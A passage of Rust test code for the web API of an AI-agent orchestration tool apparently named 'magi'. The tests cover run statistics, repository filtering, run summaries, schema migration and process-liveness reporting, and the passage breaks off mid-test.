20404        let f = Fixture::start().await;
20405        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20406        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20407        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20408
20409        let totals = &f.get("/api/stats").await.json()["totals"];
20410        assert_eq!(totals["runs"], 3);
20411        assert_eq!(totals["merged"], 1);
20412        assert_eq!(totals["stalled"], 1);
20413        assert_eq!(totals["in_progress"], 1);
20414        // A stalled run must never read as blocked/merged/ready - it is its
20415        // own bucket, not folded into a "decided" one.
20416        assert_eq!(totals["blocked"], 0);
20417        assert_eq!(totals["ready"], 0);
20418    }
20419
20420    #[tokio::test]
20421    async fn stats_advisors_report_proposals_and_reflection() {
20422        use crate::advise::{Advice, AdvisorRecord, Reflection};
20423        use crate::verdict::Proposal;
20424
20425        let f = Fixture::start().await;
20426        let mut state = RunState::new(
20427            PathBuf::from("/repo/magi"),
20428            "main".to_owned(),
20429            "0123456789abcdef".to_owned(),
20430            "task".to_owned(),
20431            Config::default(),
20432        );
20433        state.id = "20260902-140501-a".to_owned();
20434        state.status = RunStatus::Merged;
20435        state.advice = Some(Advice {
20436            records: vec![
20437                AdvisorRecord {
20438                    seat: "advisor-1".to_owned(),
20439                    agent: "alpha".to_owned(),
20440                    proposal: Some(Proposal {
20441                        approach: "do it".to_owned(),
20442                        key_tradeoff: "speed over memory".to_owned(),
20443                        risks: Vec::new(),
20444                        touches: Vec::new(),
20445                        why_not_naive: "breaks under load".to_owned(),
20446                    }),
20447                    error: None,
20448                    duration_ms: 0,
20449                    reflection: Reflection::Strong,
20450                },
20451                AdvisorRecord {
20452                    seat: "advisor-2".to_owned(),
20453                    agent: "alpha".to_owned(),
20454                    proposal: None,
20455                    error: Some("timed out".to_owned()),
20456                    duration_ms: 0,
20457                    reflection: Reflection::Absent,
20458                },
20459            ],
20460            synthesis: Some("blended brief".to_owned()),
20461        });
20462        let dir = f.runs().join(&state.id);
20463        std::fs::create_dir_all(&dir).expect("run dir");
20464        std::fs::write(
20465            dir.join("run.json"),
20466            serde_json::to_string_pretty(&state).expect("serialize run"),
20467        )
20468        .expect("write run.json");
20469
20470        // `alpha` is in no roster here; this test is about the rates.
20471        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20472        let alpha = advisors
20473            .as_array()
20474            .expect("an array")
20475            .iter()
20476            .find(|a| a["agent"] == "alpha")
20477            .expect("alpha row");
20478        assert_eq!(alpha["seated"], 2);
20479        assert_eq!(alpha["proposed"], 1);
20480        assert_eq!(alpha["absent"], 1);
20481        assert_eq!(alpha["strong"], 1);
20482        assert_eq!(alpha["faint"], 0);
20483        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20484    }
20485
20486    #[tokio::test]
20487    async fn stats_hides_agents_outside_the_roster_unless_all() {
20488        use crate::run::Candidate;
20489        let repo = TempDir::new().expect("repo dir");
20490        std::fs::write(
20491            repo.path().join("magi.toml"),
20492            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20493        )
20494        .expect("magi.toml");
20495        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20496        let mut state = RunState::new(
20497            PathBuf::from("/repo/magi"),
20498            "main".to_owned(),
20499            "0123456789abcdef".to_owned(),
20500            "task".to_owned(),
20501            Config::default(),
20502        );
20503        state.id = "20260902-140501-a".to_owned();
20504        state.status = RunStatus::Merged;
20505        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20506            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20507                "index": 0, "label": label.to_string(), "agent": agent,
20508                "branch": "b", "worktree": "/w",
20509            }))
20510            .expect("candidate");
20511            c.label = label;
20512            state.candidates.push(c);
20513        }
20514        let dir = f.runs().join(&state.id);
20515        std::fs::create_dir_all(&dir).expect("run dir");
20516        std::fs::write(
20517            dir.join("run.json"),
20518            serde_json::to_string_pretty(&state).expect("serialize run"),
20519        )
20520        .expect("write run.json");
20521
20522        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20523            v["agents"]
20524                .as_array()
20525                .expect("array")
20526                .iter()
20527                .map(|a| a["agent"].as_str().unwrap().to_owned())
20528                .collect()
20529        };
20530        let hidden = f.get("/api/stats").await.json();
20531        assert_eq!(agents_of(&hidden), ["keep"]);
20532        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20533        assert_eq!(hidden["totals"]["runs"], 1);
20534
20535        let all = f.get("/api/stats?all=true").await.json();
20536        assert_eq!(agents_of(&all).len(), 2);
20537        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20538        // Verify competitive and solo keys exist on agent entries
20539        let keep_agent = all["agents"]
20540            .as_array()
20541            .unwrap()
20542            .iter()
20543            .find(|a| a["agent"] == "keep")
20544            .unwrap();
20545        assert_eq!(keep_agent["competitive_entered"], 1);
20546        assert_eq!(keep_agent["competitive_wins"], 0);
20547        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20548        assert_eq!(keep_agent["solo_entered"], 0);
20549        assert_eq!(keep_agent["solo_adopted"], 0);
20550        assert!(keep_agent["solo_adoption_rate"].is_null());
20551    }
20552
20553    #[tokio::test]
20554    async fn stats_release_bumps_split_clean_from_attention() {
20555        use crate::run::ReleaseBump;
20556
20557        let f = Fixture::start().await;
20558
20559        let mut clean = RunState::new(
20560            PathBuf::from("/repo/magi"),
20561            "main".to_owned(),
20562            "0123456789abcdef".to_owned(),
20563            "task".to_owned(),
20564            Config::default(),
20565        );
20566        clean.id = "20260902-140501-a".to_owned();
20567        clean.status = RunStatus::Merged;
20568        clean.release_bump = Some(ReleaseBump {
20569            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20570            version: Some("1.0.0".to_owned()),
20571            automerge_enabled: true,
20572            merged_directly: false,
20573            local: false,
20574            release: None,
20575            problem: None,
20576            action_required: None,
20577            skipped: None,
20578        });
20579
20580        let mut blocked = RunState::new(
20581            PathBuf::from("/repo/magi"),
20582            "main".to_owned(),
20583            "0123456789abcdef".to_owned(),
20584            "task".to_owned(),
20585            Config::default(),
20586        );
20587        blocked.id = "20260902-140502-b".to_owned();
20588        blocked.status = RunStatus::Merged;
20589        blocked.release_bump = Some(ReleaseBump {
20590            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20591            version: Some("1.0.1".to_owned()),
20592            automerge_enabled: false,
20593            merged_directly: false,
20594            local: false,
20595            release: None,
20596            problem: Some("checks red".to_owned()),
20597            action_required: Some("look at the PR".to_owned()),
20598            skipped: None,
20599        });
20600
20601        for state in [&clean, &blocked] {
20602            let dir = f.runs().join(&state.id);
20603            std::fs::create_dir_all(&dir).expect("run dir");
20604            std::fs::write(
20605                dir.join("run.json"),
20606                serde_json::to_string_pretty(state).expect("serialize run"),
20607            )
20608            .expect("write run.json");
20609        }
20610
20611        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20612        assert_eq!(bumps["merged"], 2);
20613        assert_eq!(bumps["recorded"], 2);
20614        assert_eq!(bumps["pr_opened"], 2);
20615        assert_eq!(bumps["automerge_enabled"], 1);
20616        assert_eq!(bumps["needs_attention"], 1);
20617        assert_eq!(bumps["clean"], 1);
20618        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20619        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20620    }
20621
20622    #[tokio::test]
20623    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20624        let f = Fixture::start().await;
20625        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20626
20627        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20628        assert_eq!(bumps["merged"], 1);
20629        assert_eq!(bumps["recorded"], 0);
20630        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20631        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20632        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20633        // `pr_opened` and `recorded` are both zero here, so these rates have
20634        // no denominator to compute from and must be null.
20635        assert_eq!(bumps["automerge_rate"], Value::Null);
20636        assert_eq!(bumps["attention_rate"], Value::Null);
20637    }
20638
20639    #[tokio::test]
20640    async fn stats_queue_counts_come_from_the_live_queue() {
20641        let f = Fixture::start().await;
20642        let q = f.queue();
20643        let mut queued = Task::new(
20644            "queued task".to_owned(),
20645            "do it".to_owned(),
20646            PathBuf::from("/repo"),
20647            Source::Human,
20648        );
20649        q.put(&mut queued).expect("put queued");
20650        let mut held = Task::new(
20651            "held task".to_owned(),
20652            "do it later".to_owned(),
20653            PathBuf::from("/repo"),
20654            Source::Human,
20655        );
20656        held.hold_machine(Some("out of attempts".to_owned()));
20657        q.put(&mut held).expect("put held");
20658
20659        let queue = f.get("/api/stats").await.json()["queue"].clone();
20660        assert_eq!(queue["queued"], 1);
20661        assert_eq!(queue["held"], 1);
20662        assert_eq!(queue["running"], 0);
20663        assert_eq!(queue["done"], 0);
20664        assert_eq!(queue["failed"], 0);
20665        assert_eq!(queue["blocked"], 0);
20666    }
20667
20668    #[tokio::test]
20669    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20670        let f = Fixture::start().await;
20671        let stats = f.get("/api/stats").await;
20672        assert_eq!(stats.status, 200);
20673        assert_eq!(stats.json()["totals"]["runs"], 0);
20674        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20675        assert_eq!(stats.json()["runs_unreadable"], 0);
20676        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20677        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20678        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20679        assert_eq!(stats.json()["repo"], Value::Null);
20680    }
20681
20682    #[tokio::test]
20683    async fn stats_lists_every_repository_with_runs_recorded() {
20684        let f = Fixture::start().await;
20685        write_run_repo(
20686            &f.runs(),
20687            "20260902-140501-a",
20688            RunStatus::Merged,
20689            "/repos/a",
20690        );
20691        write_run_repo(
20692            &f.runs(),
20693            "20260902-140502-b",
20694            RunStatus::Merged,
20695            "/repos/a",
20696        );
20697        write_run_repo(
20698            &f.runs(),
20699            "20260902-140503-c",
20700            RunStatus::Blocked,
20701            "/repos/b",
20702        );
20703
20704        let stats = f.get("/api/stats").await;
20705        assert_eq!(stats.status, 200);
20706        // Unfiltered - the aggregate across both repositories.
20707        assert_eq!(stats.json()["totals"]["runs"], 3);
20708        assert_eq!(stats.json()["repo"], Value::Null);
20709
20710        let repos = stats.json()["repos"].clone();
20711        let repos = repos.as_array().unwrap();
20712        assert_eq!(repos.len(), 2);
20713        // Busiest (2 runs) first.
20714        assert_eq!(repos[0]["repo"], "/repos/a");
20715        assert_eq!(repos[0]["name"], "a");
20716        assert_eq!(repos[0]["runs"], 2);
20717        assert_eq!(repos[1]["repo"], "/repos/b");
20718        assert_eq!(repos[1]["runs"], 1);
20719    }
20720
20721    #[tokio::test]
20722    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20723        let f = Fixture::start().await;
20724        write_run_repo(
20725            &f.runs(),
20726            "20260902-140501-a",
20727            RunStatus::Merged,
20728            "/repos/a",
20729        );
20730        write_run_repo(
20731            &f.runs(),
20732            "20260902-140502-b",
20733            RunStatus::Blocked,
20734            "/repos/b",
20735        );
20736
20737        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20738        assert_eq!(stats.status, 200);
20739        assert_eq!(stats.json()["totals"]["runs"], 1);
20740        assert_eq!(stats.json()["totals"]["merged"], 1);
20741        assert_eq!(stats.json()["repo"], "/repos/a");
20742        // The repository list itself is unaffected by the filter - it is
20743        // what a client switches repositories from.
20744        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20745        // runs_unreadable is a whole-workload count, never scoped to the
20746        // selected repository - see StatsView::runs_unreadable's own doc.
20747        assert_eq!(stats.json()["runs_unreadable"], 0);
20748    }
20749
20750    #[tokio::test]
20751    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20752        let f = Fixture::start().await;
20753        write_run_repo(
20754            &f.runs(),
20755            "20260902-140501-a",
20756            RunStatus::Merged,
20757            "/repos/a",
20758        );
20759        write_run_repo(
20760            &f.runs(),
20761            "20260902-140502-b",
20762            RunStatus::Merged,
20763            "/repos/b",
20764        );
20765
20766        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20767            let json = f.get(uri).await.json();
20768            let daily = json["daily"].as_array().expect("daily is an array");
20769            assert_eq!(daily.len(), 30);
20770            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20771            let mut sorted = dates.clone();
20772            sorted.sort();
20773            assert_eq!(dates, sorted);
20774            for d in daily {
20775                assert_eq!(
20776                    d["merged"].as_u64().unwrap()
20777                        + d["ready"].as_u64().unwrap()
20778                        + d["other"].as_u64().unwrap(),
20779                    d["runs"].as_u64().unwrap()
20780                );
20781            }
20782            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20783        }
20784    }
20785
20786    #[tokio::test]
20787    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20788        let f = Fixture::start().await;
20789        write_run_repo(
20790            &f.runs(),
20791            "20260902-140501-a",
20792            RunStatus::Merged,
20793            "/repos/a",
20794        );
20795
20796        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20797        assert_eq!(stats.status, 404);
20798    }
20799
20800    #[tokio::test]
20801    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20802        let f = Fixture::start().await;
20803        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20804
20805        let summary = f.get("/api/runs").await.json();
20806        let row = &summary[0];
20807        assert_eq!(row["short"], "a1b2");
20808        assert_eq!(row["status"], "ready");
20809        assert_eq!(row["done"], true);
20810        assert_eq!(row["title"], "Add a web UI");
20811        assert_eq!(row["repo_name"], "magi");
20812        assert_eq!(row["judges"], 3);
20813        assert_eq!(row["winner"], Value::Null);
20814        assert_eq!(row["reviews"], 0);
20815
20816        // The short id resolves, and the detail route is the state itself, not
20817        // a projection of it: the UI reads fields the summary does not carry.
20818        let detail = f.get("/api/runs/a1b2").await;
20819        assert_eq!(detail.status, 200);
20820        assert_eq!(detail.json()["base_branch"], "main");
20821        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20822    }
20823
20824    /// `status: "ready"` alone cannot tell a run still headed for a landing
20825    /// (a PR closed without merging, say) apart from one `[merge] mode =
20826    /// "none"` left unmerged for good — the confusion the operator flagged
20827    /// after the CLI report already grew a `not landed — nothing to do by
20828    /// design` line for exactly this case (`report.rs`). Both the list route
20829    /// and the detail route must carry a flag the phone can key on instead of
20830    /// re-deriving it from `status` + `merge.mode` itself.
20831    #[tokio::test]
20832    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20833        let f = Fixture::start().await;
20834
20835        let mut none_run = RunState::new(
20836            PathBuf::from("/repo/magi"),
20837            "main".to_owned(),
20838            "0123456789abcdef".to_owned(),
20839            "Add a web UI".to_owned(),
20840            Config::default(),
20841        );
20842        none_run.id = "20260902-140503-none".to_owned();
20843        none_run.status = RunStatus::Ready;
20844        none_run.merge = Some(crate::run::MergeOutcome {
20845            mode: crate::config::MergeMode::None,
20846            ok: true,
20847            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20848            empty: false,
20849        });
20850        write_state(&f.runs(), &none_run);
20851
20852        let mut pr_run = RunState::new(
20853            PathBuf::from("/repo/magi"),
20854            "main".to_owned(),
20855            "0123456789abcdef".to_owned(),
20856            "Add a web UI".to_owned(),
20857            Config::default(),
20858        );
20859        pr_run.id = "20260902-140504-prcl".to_owned();
20860        pr_run.status = RunStatus::Ready;
20861        pr_run.merge = Some(crate::run::MergeOutcome {
20862            mode: crate::config::MergeMode::Pr,
20863            ok: false,
20864            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20865            empty: false,
20866        });
20867        write_state(&f.runs(), &pr_run);
20868
20869        let summary = f.get("/api/runs").await.json();
20870        let rows: std::collections::HashMap<&str, &Value> = summary
20871            .as_array()
20872            .expect("an array")
20873            .iter()
20874            .map(|r| (r["id"].as_str().expect("an id"), r))
20875            .collect();
20876        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20877        assert_eq!(
20878            rows[none_run.id.as_str()]["unmerged_by_design"],
20879            true,
20880            "a mode-none Ready must be flagged in the list"
20881        );
20882        assert_eq!(
20883            rows[pr_run.id.as_str()]["unmerged_by_design"],
20884            false,
20885            "a Ready reached by a closed pull request is a different case"
20886        );
20887
20888        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20889        assert_eq!(none_detail["status"], "ready");
20890        assert_eq!(none_detail["unmerged_by_design"], true);
20891
20892        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20893        assert_eq!(pr_detail["unmerged_by_design"], false);
20894    }
20895
20896    /// `RunState::active` is only ever cleared by whoever populated it, so the
20897    /// detail route also has to say whether a daemon is actually still
20898    /// driving this run right now — otherwise a seat from a killed process's
20899    /// last wave would read as live forever.
20900    #[tokio::test]
20901    async fn run_core_survives_unavailable_related_stores() {
20902        let home = TempDir::new().unwrap();
20903        let ui = delta_test_ui(home.path());
20904        let state = RunState::new(
20905            PathBuf::from("/repo/magi"),
20906            "main".into(),
20907            "0123456789abcdef".into(),
20908            "Useful core instructions".into(),
20909            Config::default(),
20910        );
20911        let dir = ui.runs.join(&state.id);
20912        std::fs::create_dir_all(&dir).unwrap();
20913        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20914        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20915        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20916        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20917            .await
20918            .unwrap()
20919            .0;
20920        assert_eq!(core.state.instruction, state.instruction);
20921        assert_eq!(core.state.updated_at, state.updated_at);
20922        assert!(core.task.is_none());
20923        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20924    }
20925
20926    #[tokio::test]
20927    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20928        let f = Fixture::start().await;
20929        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20930        // half of this test can claim the daemon is working on it without a
20931        // second helper.
20932        let id = "20260902-140502-bbbb";
20933        let mut state = RunState::new(
20934            PathBuf::from("/repo/magi"),
20935            "main".to_owned(),
20936            "0123456789abcdef".to_owned(),
20937            "Add a web UI".to_owned(),
20938            Config::default(),
20939        );
20940        state.id = id.to_owned();
20941        state.status = RunStatus::Judging;
20942        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20943        let dir = f.runs().join(id);
20944        std::fs::create_dir_all(&dir).expect("run dir");
20945        std::fs::write(
20946            dir.join("run.json"),
20947            serde_json::to_string_pretty(&state).expect("serialize run"),
20948        )
20949        .expect("write run.json");
20950
20951        // No daemon.json at all, and no `driver_pid` recorded either (this
20952        // state was written directly, never through `execute()`): there is
20953        // nothing to confirm either way, so the route must say `"unknown"` —
20954        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20955        // run` used to get from this route before `driver_pid` existed.
20956        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20957        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20958        assert_eq!(cold["live"], "unknown", "{cold}");
20959
20960        // A fresh heartbeat naming exactly this run: the same entry now reads
20961        // as confirmed, not merely recorded.
20962        write_daemon(f.home.path(), Timestamp::now());
20963        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20964        assert_eq!(warm["live"], "live", "{warm}");
20965    }
20966
20967    #[test]
20968    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20969        let home = tempfile::tempdir().expect("temp home");
20970        let runs = home.path().join("runs");
20971        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20972            let mut state = RunState::new(
20973                PathBuf::from("/repo/magi"),
20974                "main".to_owned(),
20975                "0123456789abcdef".to_owned(),
20976                "Generated review context, not authored task criteria".to_owned(),
20977                Config::default(),
20978            );
20979            state.origin = origin;
20980            state.status = RunStatus::Blocked;
20981            // Earlier migrations must not infer these facts again.
20982            state.driver_exited = false;
20983            state.gate_ran = true;
20984            let expected = serde_json::to_value(&state).expect("serialize current state");
20985            let mut legacy = expected.clone();
20986            legacy["schema"] = serde_json::json!(13);
20987            legacy.as_object_mut().unwrap().remove("task_instruction");
20988            let dir = runs.join(&state.id);
20989            std::fs::create_dir_all(&dir).expect("run dir");
20990            let path = dir.join("run.json");
20991            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20992            std::fs::write(&path, &body).expect("write legacy run");
20993
20994            for loaded in [
20995                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20996                read_run(&runs, &state.id).expect("web migration"),
20997            ] {
20998                assert_eq!(loaded.schema, crate::run::SCHEMA);
20999                assert!(loaded.task_instruction.is_none());
21000                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21001            }
21002            assert_eq!(runs_unreadable(&runs), 0);
21003            assert_eq!(std::fs::read(&path).unwrap(), body);
21004        }
21005    }
21006
21007    /// Where a run came from is shown, and a run written before origins were
21008    /// recorded (schema 12, no `origin` key) stays readable and says so.
21009    #[tokio::test]
21010    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21011        let f = Fixture::start().await;
21012        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21013            let mut state = RunState::new(
21014                PathBuf::from("/repo/magi"),
21015                "main".to_owned(),
21016                "0123456789abcdef".to_owned(),
21017                "Add a web UI".to_owned(),
21018                Config::default(),
21019            );
21020            state.id = id.to_owned();
21021            state.origin = origin;
21022            let mut value = serde_json::to_value(&state).expect("serialize run");
21023            if let Some(schema) = schema {
21024                value["schema"] = serde_json::json!(schema);
21025                value.as_object_mut().unwrap().remove("origin");
21026            }
21027            let dir = f.runs().join(id);
21028            std::fs::create_dir_all(&dir).expect("run dir");
21029            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21030        };
21031        write(
21032            "20260930-092817-ec34",
21033            Some(crate::run::Origin::from_agent_env(
21034                Some(("4a7b".to_owned(), "chat".to_owned())),
21035                None,
21036            )),
21037            None,
21038        );
21039        write("20260930-092817-0ld1", None, Some(12));
21040
21041        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21042        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21043        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21044
21045        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21046        assert_eq!(
21047            old["origin_label"], "origin unknown (started before origins were recorded)",
21048            "{old}"
21049        );
21050        assert!(old["origin"].is_null(), "{old}");
21051
21052        let list = f.get("/api/runs").await.json();
21053        let labels: Vec<_> = list
21054            .as_array()
21055            .unwrap()
21056            .iter()
21057            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21058            .collect();
21059        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21060    }
21061
21062    #[tokio::test]
21063    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21064        let f = Fixture::start().await;
21065        let mut state = RunState::new(
21066            PathBuf::from("/repo"),
21067            "main".into(),
21068            "abc".into(),
21069            "task".into(),
21070            Config::default(),
21071        );
21072        state.status = RunStatus::Implementing;
21073        state.seat_started(
21074            "implement",
21075            "implement-A",
21076            std::time::Duration::from_secs(60),
21077            0,
21078        );
21079        state.save_under(f.home.path()).unwrap();
21080        let observed = f
21081            .get(&format!("/api/runs/{}/progress", state.id))
21082            .await
21083            .json();
21084        assert_eq!(observed["id"], state.id);
21085        assert!(observed["observed_at"].is_string());
21086        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21087        assert!(observed["progress"]["activity"].is_string());
21088        for field in [
21089            "config",
21090            "candidates",
21091            "land_approval",
21092            "task",
21093            "waiting",
21094            "done",
21095        ] {
21096            assert!(
21097                observed.get(field).is_none(),
21098                "progress must not expose control evidence: {field}"
21099            );
21100        }
21101    }
21102
21103    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21104    /// review` claims no daemon at all, so before this field existed the
21105    /// route above read it as `"dead"` — indistinguishable from a run a
21106    /// killed process abandoned — the whole time it was genuinely still
21107    /// answering. With a live pid recorded, it must read `"live"` even
21108    /// though no daemon claims it.
21109    #[tokio::test]
21110    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21111        let f = Fixture::start().await;
21112        let id = "20260922-090000-cccc";
21113        let mut state = RunState::new(
21114            PathBuf::from("/repo/magi"),
21115            "main".to_owned(),
21116            "0123456789abcdef".to_owned(),
21117            "Review only".to_owned(),
21118            Config::default(),
21119        );
21120        state.id = id.to_owned();
21121        state.status = RunStatus::Reviewing;
21122        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21123        // This test process's own pid: guaranteed alive, and never needs a
21124        // real daemon or a second process to prove it. The matching start-time
21125        // marker is what `liveness` now requires alongside a live pid — see
21126        // `RunState::driver_started_at`'s own doc for why the pid alone is
21127        // not enough.
21128        state.driver_pid = Some(std::process::id());
21129        state.driver_started_at = Some(
21130            crate::proc::process_started_at(std::process::id())
21131                .expect("this test process's own start time must be queryable"),
21132        );
21133        let dir = f.runs().join(id);
21134        std::fs::create_dir_all(&dir).expect("run dir");
21135        std::fs::write(
21136            dir.join("run.json"),
21137            serde_json::to_string_pretty(&state).expect("serialize run"),
21138        )
21139        .expect("write run.json");
21140
21141        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21142        assert_eq!(detail["live"], "live", "{detail}");
21143    }
21144
21145    /// A killed manual run's pid can be handed to a wholly unrelated later
21146    /// process — a live query on `driver_pid` alone would read this as
21147    /// `"live"`, exactly the false positive `driver_started_at` exists to
21148    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21149    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21150    #[tokio::test]
21151    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21152        let f = Fixture::start().await;
21153        let id = "20260922-090100-dddd";
21154        let mut state = RunState::new(
21155            PathBuf::from("/repo/magi"),
21156            "main".to_owned(),
21157            "0123456789abcdef".to_owned(),
21158            "Review only".to_owned(),
21159            Config::default(),
21160        );
21161        state.id = id.to_owned();
21162        state.status = RunStatus::Reviewing;
21163        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21164        // This test process's own pid really is alive, but the marker
21165        // recorded here does not match what it actually started at —
21166        // standing in for the pid having since been reused by a different
21167        // process than the one that wrote `run.json`.
21168        state.driver_pid = Some(std::process::id());
21169        state.driver_started_at = Some("1".to_owned());
21170        let dir = f.runs().join(id);
21171        std::fs::create_dir_all(&dir).expect("run dir");
21172        std::fs::write(
21173            dir.join("run.json"),
21174            serde_json::to_string_pretty(&state).expect("serialize run"),
21175        )
21176        .expect("write run.json");
21177
21178        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21179        assert_eq!(detail["live"], "dead", "{detail}");
21180    }
21181
21182    /// The deck's competition list is normally the first place an operator
21183    /// sees an old run. It must carry the same process verdict as detail, or
21184    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21185    #[test]
21186    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21187        let mk = |id: &str, pid: Option<u32>| {
21188            let mut s = RunState::new(
21189                PathBuf::from("/repo/magi"),
21190                "main".to_owned(),
21191                "0123456789abcdef".to_owned(),
21192                "Add a web UI".to_owned(),
21193                Config::default(),
21194            );
21195            s.id = id.to_owned();
21196            s.driver_pid = pid;
21197            s.driver_started_at = Some("1790000000".to_owned());
21198            s
21199        };
21200        let states = vec![
21201            mk("20260902-140502-aaaa", Some(77)),
21202            mk("20260902-140502-bbbb", Some(77)),
21203            mk("20260902-140502-cccc", Some(77)),
21204            mk("20260902-140502-dddd", None),
21205        ];
21206        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21207        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21208        let sup: HashMap<String, String> = [(
21209            "20260902-140502-aaaa".to_owned(),
21210            "20260902-140502-cccc".to_owned(),
21211        )]
21212        .into();
21213
21214        let status_calls = std::cell::Cell::new(0);
21215        let identity_calls = std::cell::Cell::new(0);
21216        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21217            |_| {
21218                status_calls.set(status_calls.get() + 1);
21219                Some(true)
21220            },
21221            |_| {
21222                identity_calls.set(identity_calls.get() + 1);
21223                Some("1790000000".to_owned())
21224            },
21225        ));
21226        let rows = summarize(
21227            states,
21228            &open,
21229            &claimed,
21230            &sup,
21231            |p| probe.borrow_mut().status(p),
21232            |p| probe.borrow_mut().started_at(p),
21233        );
21234
21235        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21236        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21237        assert_eq!(rows.len(), 4);
21238        assert!(!rows[0].waiting && rows[1].waiting);
21239        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21240        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21241        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21242        assert_eq!(rows[1].superseded_by, None);
21243    }
21244
21245    #[test]
21246    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21247        let mut state = RunState::new(
21248            PathBuf::from("/repo/magi"),
21249            "main".to_owned(),
21250            "0123456789abcdef".to_owned(),
21251            "Review only".to_owned(),
21252            Config::default(),
21253        );
21254        state.id = "20260922-090200-dead".to_owned();
21255        state.status = RunStatus::Reviewing;
21256        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21257            .expect("serialize list row");
21258        assert_eq!(row["status"], "reviewing");
